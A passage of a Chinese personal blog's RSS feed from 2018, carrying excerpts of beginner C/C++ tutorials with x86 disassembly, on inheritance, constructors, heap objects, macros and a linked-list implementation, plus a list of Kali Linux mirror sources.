&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ILT&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;??&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;QAE&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;XZ&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;0040100F&lt;/span&gt; &lt;span class="n"&gt;jmp&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;00401100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ILT&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;Test&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;UAEXXZ&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;00401014&lt;/span&gt; &lt;span class="n"&gt;jmp&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Test&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;004011f&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ILT&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;Test&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="err"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;UAEXXZ&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0040101&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="n"&gt;jmp&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Test&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;00401140&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ILT&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_main&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mo"&gt;0040101&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="n"&gt;jmp&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;004010&lt;/span&gt;&lt;span class="n"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;总结：&lt;/p&gt;</description></item><item><title>Cpp6 封装、继承和多态</title><link>https://luodaoyi.com/posts/cpp6-%E5%B0%81%E8%A3%85%E7%BB%A7%E6%89%BF%E5%92%8C%E5%A4%9A%E6%80%81-cpp6%E5%B0%81%E8%A3%85%E7%BB%A7%E6%89%BF%E5%92%8C%E5%A4%9A%E6%80%81/</link><pubDate>Sat, 10 Feb 2018 07:40:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/cpp6-%E5%B0%81%E8%A3%85%E7%BB%A7%E6%89%BF%E5%92%8C%E5%A4%9A%E6%80%81-cpp6%E5%B0%81%E8%A3%85%E7%BB%A7%E6%89%BF%E5%92%8C%E5%A4%9A%E6%80%81/</guid><description>&lt;h2 id="继承"&gt;继承&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;子类从父类继承成员变量&lt;/li&gt;
&lt;li&gt;子类从父类继承成员函数&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;quot;stdafx.h&amp;quot;
class Person
{
public:
 int Age;
 int Sex;
 void Word()
 {
 printf(&amp;quot;Person:Work&amp;quot;);
 }
};
class Teacher:public Person
{
public:
 int Level;
};
int main()
{
 Teacher t;
 t.Age = -1; //合法但是不合理
 t.Sex = 2;
 t.Level = 3;
 return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="实现数据隐藏"&gt;实现数据隐藏&lt;/h2&gt;
&lt;p&gt;为什么要隐藏数据成员&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;与前面比较，赋值的时候 合理不合法，手机的电路板也没有暴露在外面啊&lt;/li&gt;
&lt;li&gt;根本的目的是可控&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="不要造相同的轮子"&gt;不要造相同的轮子&lt;/h2&gt;
&lt;p&gt;代码复用的两种体现方式:&lt;/p&gt;</description></item><item><title>kali rolling 国内源</title><link>https://luodaoyi.com/posts/kali-rolling-%E5%9B%BD%E5%86%85%E6%BA%90-kalirolling%E5%9B%BD%E5%86%85%E6%BA%90/</link><pubDate>Fri, 02 Feb 2018 02:44:57 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/kali-rolling-%E5%9B%BD%E5%86%85%E6%BA%90-kalirolling%E5%9B%BD%E5%86%85%E6%BA%90/</guid><description>&lt;pre&gt;&lt;code&gt;#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
#中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Cpp5 在堆中创建对象和引用类型</title><link>https://luodaoyi.com/posts/cpp5-%E5%9C%A8%E5%A0%86%E4%B8%AD%E5%88%9B%E5%BB%BA%E5%AF%B9%E8%B1%A1%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B-cpp5%E5%9C%A8%E5%A0%86%E4%B8%AD%E5%88%9B%E5%BB%BA%E5%AF%B9%E8%B1%A1%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B/</link><pubDate>Tue, 30 Jan 2018 14:51:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/cpp5-%E5%9C%A8%E5%A0%86%E4%B8%AD%E5%88%9B%E5%BB%BA%E5%AF%B9%E8%B1%A1%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B-cpp5%E5%9C%A8%E5%A0%86%E4%B8%AD%E5%88%9B%E5%BB%BA%E5%AF%B9%E8%B1%A1%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B/</guid><description>&lt;h2 id="我们可以在什么地方创建对象"&gt;我们可以在什么地方创建对象?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;全局变量区&lt;/p&gt;
&lt;p&gt;Person p;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;栈&lt;/p&gt;
&lt;p&gt;void Max()
{
Person p;
}&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;堆 &lt;code&gt;new&lt;/code&gt; 和 &lt;code&gt;delete&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;//在堆中创建对象：
Person* p = new Person();
//释放对象占用的内存
delete p;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="在堆中创建对象-newdelete"&gt;在堆中创建对象: &lt;code&gt;new``delete&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;在C语言中我们使用&lt;code&gt;malloc&lt;/code&gt;申请堆空间&lt;br&gt;
使用完毕后使用&lt;code&gt;free&lt;/code&gt;释放空间&lt;br&gt;
C++：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Person
{
private:
 int x;
 int y;
public:
 Person()
 {
 printf(&amp;quot;Person()执行了！ \n&amp;quot;);
 }
 Person(int x,int y)
 {
 printf(&amp;quot;Person(int x,int y)执行了！ \n&amp;quot;);
 this-&amp;gt;x=x;
 this-&amp;gt;y=y;
 }
 ~Person()
 {
 printf(&amp;quot;~Person() 执行了！ \n&amp;quot;);
 }
};
Person* p =new Person();
Person* p1=new Person(1,2);
delete p;
delete p1;
//反汇编
33: Person* p =new Person();
00401070 push 8
00401072 call operator new (004013c0)
00401077 add esp,4
0040107A mov dword ptr [ebp-1Ch],eax
0040107D mov dword ptr [ebp-4],0
00401084 cmp dword ptr [ebp-1Ch],0
00401088 je main+57h (00401097)
0040108A mov ecx,dword ptr [ebp-1Ch]
0040108D call @ILT+20(Person::Person) (00401019)
00401092 mov dword ptr [ebp-38h],eax
00401095 jmp main+5Eh (0040109e)
00401097 mov dword ptr [ebp-38h],0
0040109E mov eax,dword ptr [ebp-38h]
004010A1 mov dword ptr [ebp-18h],eax
004010A4 mov dword ptr [ebp-4],0FFFFFFFFh
004010AB mov ecx,dword ptr [ebp-18h]
004010AE mov dword ptr [ebp-10h],ecx
34: Person* p1=new Person(1,2);
004010B1 push 8
004010B3 call operator new (004013c0)
004010B8 add esp,4
004010BB mov dword ptr [ebp-24h],eax
004010BE mov dword ptr [ebp-4],1
004010C5 cmp dword ptr [ebp-24h],0
004010C9 je main+9Ch (004010dc)
004010CB push 2
004010CD push 1
004010CF mov ecx,dword ptr [ebp-24h]
004010D2 call @ILT+0(Person::Person) (00401005)
004010D7 mov dword ptr [ebp-3Ch],eax
004010DA jmp main+0A3h (004010e3)
004010DC mov dword ptr [ebp-3Ch],0
004010E3 mov edx,dword ptr [ebp-3Ch]
004010E6 mov dword ptr [ebp-20h],edx
004010E9 mov dword ptr [ebp-4],0FFFFFFFFh
004010F0 mov eax,dword ptr [ebp-20h]
004010F3 mov dword ptr [ebp-14h],eax
35: delete p;
004010F6 mov ecx,dword ptr [ebp-10h]
004010F9 mov dword ptr [ebp-2Ch],ecx
004010FC mov edx,dword ptr [ebp-2Ch]
004010FF mov dword ptr [ebp-28h],edx
00401102 cmp dword ptr [ebp-28h],0
00401106 je main+0D7h (00401117)
00401108 push 1
0040110A mov ecx,dword ptr [ebp-28h]
0040110D call @ILT+15(Person::`scalar deleting destructor&amp;quot;) (00401014)
00401112 mov dword ptr [ebp-40h],eax
00401115 jmp main+0DEh (0040111e)
00401117 mov dword ptr [ebp-40h],0
36: delete p1;
0040111E mov eax,dword ptr [ebp-14h]
00401121 mov dword ptr [ebp-34h],eax
00401124 mov ecx,dword ptr [ebp-34h]
00401127 mov dword ptr [ebp-30h],ecx
0040112A cmp dword ptr [ebp-30h],0
0040112E je main+0FFh (0040113f)
00401130 push 1
00401132 mov ecx,dword ptr [ebp-30h]
00401135 call @ILT+15(Person::`scalar deleting destructor&amp;quot;) (00401014)
0040113A mov dword ptr [ebp-44h],eax
0040113D jmp main+106h (00401146)
0040113F mov dword ptr [ebp-44h],0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;new&lt;/code&gt;关键字到底做了什么？&lt;/p&gt;</description></item><item><title>Cpp4 类成员的访问控制</title><link>https://luodaoyi.com/posts/cpp4-%E7%B1%BB%E6%88%90%E5%91%98%E7%9A%84%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6-cpp4%E7%B1%BB%E6%88%90%E5%91%98%E7%9A%84%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6/</link><pubDate>Tue, 30 Jan 2018 14:02:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/cpp4-%E7%B1%BB%E6%88%90%E5%91%98%E7%9A%84%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6-cpp4%E7%B1%BB%E6%88%90%E5%91%98%E7%9A%84%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6/</guid><description>&lt;h2 id="好的编程习惯--定义和实现分开"&gt;好的编程习惯 -定义和实现分开&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;代码会有更好的可读性&lt;/li&gt;
&lt;li&gt;但不是必须的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在头文件中只留下声明代码&lt;/p&gt;
&lt;p&gt;Test.h&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct sclass
{
 int x;
 int y;
 int Bigger(int x,int y);
 int Max(int x,int y,int z);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Test.cpp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int sclass::Bigger(int x,int y)
{
 if(x&amp;gt;y)
 {
 return x;
 }
 else
 {
 return y;
 }
}
int sclass::Max(int x,int y,int z)
{
 return Bigger(Bigger(x,y),z);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用:&lt;br&gt;
main.cpp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;quot;Test.h&amp;quot;
#include
#include
int main(int argc,char* arhv[])
{
 sclass s;
 return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面的实现方式没有问题，但是其实我们的&lt;code&gt;Bigger&lt;/code&gt;函数是为了实现&lt;code&gt;MAX&lt;/code&gt;函数存在的，换句话说 我们不想让外部用户去调用&lt;code&gt;Bigger&lt;/code&gt;函数，为了实现这一目的 我们该怎么办呢？C++的语法允许我们控制类成员的访问权限&lt;/p&gt;</description></item><item><title>Cpp3 继承</title><link>https://luodaoyi.com/posts/cpp3-%E7%BB%A7%E6%89%BF-cpp3%E7%BB%A7%E6%89%BF/</link><pubDate>Sun, 28 Jan 2018 06:53:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/cpp3-%E7%BB%A7%E6%89%BF-cpp3%E7%BB%A7%E6%89%BF/</guid><description>&lt;h2 id="什么是继承"&gt;什么是继承&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct Person 
{ 
  int age; 
  int sex; 
};
struct Teacher 
{ 
  int age; 
  int sex; 
  int level; 
  int classId; 
};
struct Teacher:Person 
{ 
  int level; 
  int classId; 
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结：&lt;/p&gt;
&lt;p&gt;1、什么是继承？&lt;br&gt;
继承就是数据的复制&lt;br&gt;
2、为什么要用继承？&lt;br&gt;
减少重复代码的编写&lt;br&gt;
3、Person 称为父类或者基类&lt;/p&gt;
&lt;p&gt;4、Teacher称为子类或者派生类&lt;/p&gt;
&lt;h2 id="继承不仅仅局限于父类"&gt;继承不仅仅局限于父类&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct X 
{ 
  int a;
  int b;
}; 
struct Y:X 
{ 
  int c;
  int d;
}; 
struct Z:Y      //Z的成员只继承c d吗？
{ 
  int e;
  int f;
};  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内存布局&lt;/p&gt;</description></item><item><title>Cpp2 构造函数和析构函数</title><link>https://luodaoyi.com/posts/cpp2-%E6%9E%84%E9%80%A0%E5%87%BD%E6%95%B0%E5%92%8C%E6%9E%90%E6%9E%84%E5%87%BD%E6%95%B0-cpp2%E6%9E%84%E9%80%A0%E5%87%BD%E6%95%B0%E5%92%8C%E6%9E%90%E6%9E%84%E5%87%BD%E6%95%B0/</link><pubDate>Sun, 28 Jan 2018 05:53:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/cpp2-%E6%9E%84%E9%80%A0%E5%87%BD%E6%95%B0%E5%92%8C%E6%9E%90%E6%9E%84%E5%87%BD%E6%95%B0-cpp2%E6%9E%84%E9%80%A0%E5%87%BD%E6%95%B0%E5%92%8C%E6%9E%90%E6%9E%84%E5%87%BD%E6%95%B0/</guid><description>&lt;h2 id="什么是构造函数"&gt;什么是构造函数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;quot;stdafx.h&amp;quot;
#include
struct Sclass {
 int a;
 int b;
 int c;
 int d;
 Sclass()//构造函数
 {
 printf(&amp;quot;观察这个函数 \n&amp;quot;);
 }
 Sclass(int a,int b,int c,int d)//构造函数
 {
 this-&amp;gt;a=a;
 this-&amp;gt;b=b;
 this-&amp;gt;c=c;
 this-&amp;gt;d=d;
 printf(&amp;quot;观察这个函数 2\n&amp;quot;);
 }
 int Plus()
 {
 return a+b+c+d;
 }
};
int main(int argc, char* argv[])
{
 Sclass s;
 Sclass s2(1,2,3,4);
 return 0;
}
//反汇编:
Sclass s;
0040D408 lea ecx,[ebp-10h]
0040D40B call @ILT+5(Sclass::Sclass) (0040100a)
Sclass s2(1,2,3,4);
0040D770 push 4
0040D772 push 3
0040D774 push 2
0040D776 push 1
0040D778 lea ecx,[ebp-20h]
0040D77B call @ILT+10(Sclass::Sclass) (0040100f)
//观察发现，分配一个对象，构造函数 方法直接就会被调用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结特点:&lt;/p&gt;</description></item><item><title>C语言23 终极篇 预处理之宏定义、条件编译和文件包含</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8023-%E7%BB%88%E6%9E%81%E7%AF%87-%E9%A2%84%E5%A4%84%E7%90%86%E4%B9%8B%E5%AE%8F%E5%AE%9A%E4%B9%89%E6%9D%A1%E4%BB%B6%E7%BC%96%E8%AF%91%E5%92%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-c%E8%AF%AD%E8%A8%8023%E7%BB%88%E6%9E%81%E7%AF%87%E9%A2%84%E5%A4%84%E7%90%86%E4%B9%8B%E5%AE%8F%E5%AE%9A%E4%B9%89%E6%9D%A1%E4%BB%B6%E7%BC%96%E8%AF%91%E5%92%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/</link><pubDate>Sat, 27 Jan 2018 10:41:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8023-%E7%BB%88%E6%9E%81%E7%AF%87-%E9%A2%84%E5%A4%84%E7%90%86%E4%B9%8B%E5%AE%8F%E5%AE%9A%E4%B9%89%E6%9D%A1%E4%BB%B6%E7%BC%96%E8%AF%91%E5%92%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-c%E8%AF%AD%E8%A8%8023%E7%BB%88%E6%9E%81%E7%AF%87%E9%A2%84%E5%A4%84%E7%90%86%E4%B9%8B%E5%AE%8F%E5%AE%9A%E4%B9%89%E6%9D%A1%E4%BB%B6%E7%BC%96%E8%AF%91%E5%92%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/</guid><description>&lt;h2 id="什么是预处理"&gt;什么是预处理&lt;/h2&gt;
&lt;p&gt;预处理一般是指在程序源代码被转换为二进制代码之前，由预处理器对程序源代码文本进行处理，处理后的结果再由编译器进一步编译。&lt;/p&gt;
&lt;p&gt;预处理功能主要包括&lt;code&gt;宏定义&lt;/code&gt;,&lt;code&gt;文件包含&lt;/code&gt;,&lt;code&gt;条件编译&lt;/code&gt;三部分&lt;/p&gt;
&lt;h2 id="宏定义"&gt;宏定义&lt;/h2&gt;
&lt;h3 id="简单宏-define-标识符-字符序列"&gt;简单宏: &lt;code&gt;#define 标识符 字符序列&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#define FALSE 0
#define NAME &amp;quot;LUODAOYI&amp;quot;
#define __IN
#define __OUT
//极端例子
#define NAME &amp;quot;LUODAOYI&amp;quot;
#define A int method() {
#define B char buffer[0x10];
#define C strcpy(buffer,NAME);
#define D return 0;}
#define E method();
//使用
A
B
C
D
int main()
{
 E
 return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="带参数的宏-define-标识符参数表-字符序列"&gt;带参数的宏 &lt;code&gt;#define 标识符(参数表) 字符序列&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#define MAX(A,B)((A)&amp;gt;(B)?(A):(B))
int method()
{
 int x = 1;
 int y = 2;
 int z = MAX(x,y);
 return 0;
}
// 多行定义 // &amp;quot;\&amp;quot; 后不可有空格
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>链表</title><link>https://luodaoyi.com/posts/%E9%93%BE%E8%A1%A8-%E9%93%BE%E8%A1%A8/</link><pubDate>Thu, 25 Jan 2018 20:57:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E9%93%BE%E8%A1%A8-%E9%93%BE%E8%A1%A8/</guid><description>&lt;h2 id="实现思想-通过指针把要元素串起来"&gt;实现思想 :通过指针把要元素串起来&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-01-25-15168850682485.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="简单结构图"&gt;简单结构图&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;struct Student
{
 char name[10];
 int score;
}
struct Node
{
 Student Element;
 Node* next;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-01-25-15168851640283.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;每一个节点包含此节点信息和下一个节点的指针&lt;/p&gt;
&lt;p&gt;有点：插入删除方便&lt;br&gt;
缺点：查找麻烦&lt;/p&gt;
&lt;h2 id="基本元素实现"&gt;基本元素实现&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;//方法/函数
int InitList();//初始化链表
int IsEmpty(); //判断链表是否为空 空返回1 非空0
void Clear(Node* p); //清空链表
ini Find(int Index,Student* element); //根据索引获取元素
int Insert(int Index,Student* Element);//根据索引新增元素
int Delete(int Index,Student* Element);//根据索引删除元素
int GetSize();//获取链表中元素的数量
//属性/变量
Node* m_pHead; //链表头指针，指向第一个节点
Node* m_pEnd; //链表尾指针，指向最后一个节点
int m_dwLength; //元素的数量
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="链表简单实现"&gt;链表简单实现&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// _20180125.cpp : Defines the entry point for the console application.
//
#include &amp;quot;stdafx.h&amp;quot;
#include
#include
struct Student
{
 char name[10];
 int id;
 int achievement;
};
struct Node
{
 Student Element;
 Node* next;
};
//初始化链表
Node* InitList()
{
 int len;
 printf(&amp;quot;输入链表长度 \n&amp;quot;);
 scanf(&amp;quot;%d&amp;quot;,&amp;amp;len);
 Node* pHead = (Node*)malloc(sizeof(Node));
 pHead-&amp;gt;next=NULL;
 Node* pEnd = pHead ;//pEnd 永远指向尾节点的指针
 for (int i =0;iElement.name));
 printf(&amp;quot;\n输入学生id:&amp;quot;);
 scanf(&amp;quot;%d&amp;quot;,&amp;amp;(pNew-&amp;gt;Element.id));
 printf(&amp;quot;\n输入学生成绩&amp;quot;);
 scanf(&amp;quot;%d&amp;quot;,&amp;amp;(pNew-&amp;gt;Element.achievement));
 pNew-&amp;gt;next=NULL;
 pEnd-&amp;gt;next=pNew;//从把之前的最后一个元素的next指向刚才新建的元素
 pEnd=pNew;//重新把pEnd赋值为最后一个元素
 }
 return pHead;
}
//判断链表是否为空 空返回1 非空0
int IsEmpty(Node* pHead)
{
 if(NULL==pHead-&amp;gt;next)
 {
 return 1;
 }
 else
 {
 return 0;
 }
}
 //清空链表
void Clear(Node* pHead)
{
 if(NULL!=pHead-&amp;gt;next){
 Clear(pHead-&amp;gt;next);
 }
 free(pHead);
}
//根据索引获取元素
Student* Find(Node* pHead,int Index)
{
 Node* pTmp=pHead-&amp;gt;next;
 for (int i=0;inext)
 {
 printf(&amp;quot;插入位置不合法\n&amp;quot;);
 return NULL;
 }
 pTmp=pTmp-&amp;gt;next;
 }
 return &amp;amp;(pTmp-&amp;gt;Element);
}
//根据索引新增元素
int Insert(Node* pHead,int Index,Student* Element)
{
 Node* pTmp = pHead-&amp;gt;next;
 Node* pNext;
 for (int i=0;inext)
 {
 printf(&amp;quot;插入位置不合法\n&amp;quot;);
 return 0;
 }
 pTmp=pTmp-&amp;gt;next;
 }
 pNext = pTmp-&amp;gt;next;
 //插入新元素
 Node* pNew = (Node*)malloc(sizeof(Node));
 strcpy(pNew-&amp;gt;Element.name,Element-&amp;gt;name);
 pNew-&amp;gt;Element.id=Element-&amp;gt;id;
 pNew-&amp;gt;Element.achievement=Element-&amp;gt;achievement;
 pNew-&amp;gt;next=pNext;
 pTmp-&amp;gt;next=pNew;
 return 1;
}
//根据索引删除元素
int Delete(Node* pHead,int Index,Student* Element)
{
 Node* pTmp = pHead-&amp;gt;next;
 Node* pDel;
 for (int i =0;inext)
 {
 printf(&amp;quot;删除位置不合法\n&amp;quot;);
 return 0;
 }
 pTmp=pTmp-&amp;gt;next;
 }
 //此时 pTmp是上一个节点
 pDel = pTmp-&amp;gt;next; //这里是要删除的节点
 pTmp-&amp;gt;next=pDel-&amp;gt;next;
 free(pDel);
 return 1;
}
//获取链表中元素的数量
int GetSize(Node* pHead)
{
 int num =0;
 Node* pTmp = pHead-&amp;gt;next;
 while (pTmp!=NULL)
 {
 num++;
 pTmp=pTmp-&amp;gt;next;
 }
 return num;
}
int main(int argc, char* argv[])
{
 Node* pHead= InitList();
 Student* s ;
 if(IsEmpty(pHead))
 {
 printf(&amp;quot;链表为空&amp;quot;);
 }
 int length = GetSize(pHead);
 printf(&amp;quot;链表长度 %d&amp;quot;,length);
 s =Find(pHead,1);
 Insert(pHead,2,s);
 Clear(pHead);
 s=NULL;
 pHead=NULL;
 return 0;
}
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Cpp1 封装和this指针</title><link>https://luodaoyi.com/posts/cpp1-%E5%B0%81%E8%A3%85%E5%92%8Cthis%E6%8C%87%E9%92%88-cpp1%E5%B0%81%E8%A3%85%E5%92%8Cthis%E6%8C%87%E9%92%88/</link><pubDate>Sun, 21 Jan 2018 15:00:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/cpp1-%E5%B0%81%E8%A3%85%E5%92%8Cthis%E6%8C%87%E9%92%88-cpp1%E5%B0%81%E8%A3%85%E5%92%8Cthis%E6%8C%87%E9%92%88/</guid><description>&lt;h2 id="封装"&gt;封装&lt;/h2&gt;
&lt;h3 id="c语言和c语言的区别"&gt;C语言和C++语言的区别&lt;/h3&gt;
&lt;p&gt;C++是对C的补充扩展，C原有的语法C++都支持，并在此基础上扩展了一些新的语法：&lt;br&gt;
继承、封装、多态、模板等等&lt;/p&gt;
&lt;h3 id="结构体可以作为参数传递吗"&gt;结构体可以作为参数传递吗&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct Student
{
 int a;
 int b;
 int c;
 int d;
}
//分析这个函数是如何传递参数的
int Plus(student s)
{
 return s.a+s.b+s.c+s.d;
}
23: Student s = {1,2,3,4};
00401078 mov dword ptr [ebp-10h],1
0040107F mov dword ptr [ebp-0Ch],2
00401086 mov dword ptr [ebp-8],3
0040108D mov dword ptr [ebp-4],4
24: Plus(s);
00401094 sub esp,10h
00401097 mov eax,esp
00401099 mov ecx,dword ptr [ebp-10h]
0040109C mov dword ptr [eax],ecx
0040109E mov edx,dword ptr [ebp-0Ch]
004010A1 mov dword ptr [eax+4],edx
